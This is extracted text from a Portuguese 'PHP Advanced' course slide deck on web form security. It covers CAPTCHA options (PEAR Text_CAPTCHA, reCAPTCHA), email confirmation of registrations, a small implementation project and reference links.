  • 18. PHP Advanced Prevenção contra scripts • CAPTCHA • Completely Automated Public Turing tests to tell Computers and Humans Apart • Garante que o formulário foi preenchido por um humano • Validação por Email • OpenID Segurança 18
  • 19. PHP Advanced PEAR::Text_CAPTCHA • Instalação • pear install Text_CAPTCHA • pear install Image_Text • Obtenção de uma font TTF Segurança 19
  • 23. PHP Advanced reCAPTCHA • Web Service • Biblioteca em PHP • Disponível em http://recaptcha.net/ • Ajuda a digitalizar livros Segurança 23
  • 24. PHP Advanced Validação por Email • Tornar obrigatória a inserção do endereço de Email no formulário • Após o formulário ter sido preenchido gerar um ID e gravá-lo juntamente com os dados • Enviar uma mensagem ao endereço introduzido com instruções de confirmação Segurança 24
  • 25. PHP Advanced Projecto • Escolher um dos mecanismos de prevenção contra scripts e implementá-lo nos formulários de registo e de autenticação Segurança 25
  • 26. PHP Advanced Resumo • Melhorias na segurança • XSS • CAPTCHA • Validação por Email • Implementação Segurança 26
  • 27. PHP Summer School Questões? OOP em PHP 27
  • 28. PHP Advanced Mais informação • O meu blog: http://unfoldingtheweb.com/ • Manual de PHP: http://www.php.net/ • PEAR: http://pear.php.net/ • reCAPTCHA: http://recaptcha.net/ Segurança 28